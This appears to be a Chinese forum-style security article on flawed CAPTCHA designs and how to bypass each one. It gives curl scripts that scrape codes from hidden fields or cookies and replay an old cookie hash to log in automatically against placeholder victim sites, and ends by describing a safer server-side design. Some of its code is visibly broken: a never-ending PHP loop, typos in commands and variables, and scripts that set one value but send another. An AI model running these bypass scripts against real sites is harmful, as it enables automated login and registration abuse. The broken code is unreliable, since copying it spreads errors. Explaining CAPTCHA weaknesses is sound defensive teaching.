验证码这东西,大家应该都不陌生。简单说,就是把一串随机数字或符号生成图片,再在图片里加一些干扰像素,防止OCR直接识破。用户得靠肉眼识别出来,输入表单提交给网站验证,通过后才能继续操作。很多网站为了挡住机器人的自动注册、登录、灌水,都用了这套技术。
但问题来了——很多验证码实现其实漏洞百出。比如直接就把验证码明文塞到网页里或者Cookie里,这种设计基本等于没设防。咱们来看几个典型例子。
先看一个最粗暴的实现:验证码直接藏在HTML的隐藏表单字段里。
/* Filename: authpage.php
* Author: hutuworm
* @Copyleft hutuworm.org
*/
srand((double)microtime()*1000000);
if(isset($HTTP_POST_VARS['authinput']))
{
if(strcmp($HTTP_POST_VARS['authnum'],$HTTP_POST_VARS['authinput'])==0)
echo "验证成功!";
else
echo "验证失败!";
}
while(($authnum=rand()%1000)<1000);
?>
这段代码直接把验证码明文赋值给了隐藏域 authnum。攻击者只需要下载页面,拿到这个值就能绕过验证。用curl一行就搞定:
curl https://www.vicitm.org/authpage.php
authinput=`grep '' grep.txt | sed -e 's/[^0-9]//g'`
curl https://www.vicitm.org/authpage.php -d name=hacker -d submit="验证" -d authnum=$authnum
比这稍微聪明一点的做法,是把验证码放到用户Cookie里:
session_register("authnum");
$authnum = strval(rand("1111","9999"));
setcookie("authnum",$authnum);
...
...
if($number != $login_check_number || empty($number))
{
print("校验码不正确!");
die();
}
但Cookie这玩意儿用户可读可写,破解起来也不费劲。先接受服务器初始Cookie,再请求验证码图片,从返回的Cookie里提取 authnum,然后用它直接登录:
$username=hacker
$password=hackme
curl https://www.vicitm.org/index.php -c common_cookie
curl https://www.vicitm.org/get_code.php -c $username.cook -b common_cookie
authnum=`grep authnum $username.cook | cut -f7`
curl https://www.victim.org/login.php -b $username.cook -d authnum=$authnum -d username=$username -d password=$password
再往上走,有一种更高级的实现,据说本论坛用的就是这种。它的思路是:服务器生成一个随机hash,然后用某个不可逆算法把hash转成验证码数字,再生成图片。hash通过Cookie发给客户端,客户端输入验证码后,服务器检查 f(hash) == 验证码。因为攻击者不知道编码算法,所以没法直接解出验证码。
但道高一尺魔高一丈,对付这种验证码可以用“过期Cookie法”。先保存服务器某次返回的Cookie和对应的验证码,然后每次发送请求时,把服务器发来的新hash扔掉,强行用之前保存的旧hash和旧验证码。就像一张电话充值卡反复使用一样。具体操作:
$sa vecookie=294b506f05f896dcbb3a0dde86a5e36c
$num=7701
$username=hacker
$password=hackme
curl https://www.victim.org/index.php -c $username.cookie
grep -v authhash $username.cookie > tmp.$username
echo "www.victim.org FALSE / FALSE 0 hash $sa vecookie" >> tmp.$username
mv tmp.$username $username.cookie
curl https://www.victim.org/login.php -b $username.cookie -c $username.cookie -d username=$username -d password=$password -d authnum=$num
那最高级的验证码长什么样?它把验证码的整个生命周期都锁死在服务端:
- 服务器根据用户相关信息(IP、SID等)生成一个随机hash。
- 用不可逆算法将hash转成验证码数字。
- hash不再发给客户端,而是存到本地数据库(通常用Session),并由一个序列号seq指向(seq可以是Session ID)。
- seq随Cookie发送给客户端。
- 用户输入验证码后,服务器不比较
f(hash) == 验证码,而是直接去数据库里读期望的验证码。如果匹配,验证通过。有些系统还会校验seq和Session ID的绑定关系。 - 一旦用户完成验证或重新获取验证码,服务器就更新hash,旧值立即失效。
这种方案有两个关键特征:
- 过期性:因为验证码只存在于当前数据库,旧验证码无法重放。
- 高保密性:只传递seq,hash在服务端,攻击者根本无法逆向出
f(hash)。
当然也不是绝对安全,弱点主要体现在:OCR识别、seq劫持、以及对特定seq发起拒绝服务攻击。对付这类验证码,最直接的办法还是让用户手动识别——下载验证码图片,展示给用户,然后用户输入后提交。这种方式只适用于一次性验证的场景,比如登录验证。
curl https://www.victim.org/get_code.php -c validate.png -c validcode_cookie
seq=`grep seq validcode_cookie | cut -f7`
echo -n 请输入validate.png中的验证码:
read valid_number
curl https://www.victim.org/login.php -b $username.cookie -c $username.cookie -d username=$username -d password=$password -d authnum=$num
说到底,验证码本质上是一场猫鼠游戏。开发者想尽办法让机器识别困难,攻击者则想尽办法绕过。这种对抗在过去二十多年里从未停止,而且随着AI的进步,双方都在不断升级。了解这些攻防细节,不仅是安全从业者的基本功,也能帮普通网站开发者避开那些一眼就能看穿的坑。
